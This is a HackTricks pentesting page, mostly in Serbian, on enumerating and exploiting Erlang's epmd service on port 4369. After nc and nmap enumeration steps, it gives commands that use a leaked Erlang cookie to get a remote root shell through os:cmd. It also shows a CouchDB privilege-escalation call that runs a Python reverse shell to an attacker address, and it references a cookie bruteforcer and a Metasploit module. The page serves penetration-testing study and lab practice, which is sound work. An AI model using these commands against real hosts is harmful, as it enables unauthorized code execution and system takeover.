5.3 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Osnovne informacije
Erlang Port Mapper Daemon (epmd) služi kao koordinator za distribuirane Erlang instance. Odgovoran je za mapiranje simboličnih imena čvorova na mašinske adrese, suštinski osiguravajući da je svako ime čvora povezano sa specifičnom adresom. Ova uloga epmd je ključna za nesmetanu interakciju i komunikaciju između različitih Erlang čvorova u mreži.
Podrazumevani port: 4369
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
Ovo se koristi po defaultu na RabbitMQ i CouchDB instalacijama.
Enumeracija
Ručno
echo -n -e "\x00\x01\x6e" | nc -vn <IP> 4369
#Via Erlang, Download package from here: https://www.erlang-solutions.com/resources/download.html
dpkg -i esl-erlang_23.0-1~ubuntu~xenial_amd64.deb
apt-get install erlang
erl #Once Erlang is installed this will promp an erlang terminal
1> net_adm:names('<HOST>'). #This will return the listen addresses
Automatski
nmap -sV -Pn -n -T4 -p 4369 --script epmd-info <IP>
PORT STATE SERVICE VERSION
4369/tcp open epmd Erlang Port Mapper Daemon
| epmd-info:
| epmd_port: 4369
| nodes:
| bigcouch: 11502
| freeswitch: 8031
| ecallmgr: 11501
| kazoo_apps: 11500
|_ kazoo-rabbitmq: 25672
Erlang Cookie RCE
Remote Connection
Ako možete procuriti Authentication cookie moći ćete da izvršite kod na hostu. Obično se ovaj cookie nalazi u ~/.erlang.cookie
i generiše ga erlang pri prvom pokretanju. Ako nije izmenjen ili postavljen ručno, to je nasumični niz [A:Z] dužine 20 karaktera.
greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn
Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10]
Eshell V8.1 (abort with ^G)
At last, we can start an erlang shell on the remote system.
(test@target.fqdn)1>os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
Više informacija na https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
Autor takođe deli program za bruteforce-ovanje kolačića:
{% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %}
Lokalna Konekcija
U ovom slučaju ćemo zloupotrebiti CouchDB da bismo lokalno eskalirali privilegije:
HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE
(anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]).
"homer\n"
(anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]).
Primer preuzet sa https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution
Možete koristiti Canape HTB mašinu da vežbate kako da iskoristite ovu ranjivost.
Metasploit
#Metasploit can also exploit this if you know the cookie
msf5> use exploit/multi/misc/erlang_cookie_rce
Shodan
port:4369 "na portu"
{% hint style="success" %}
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.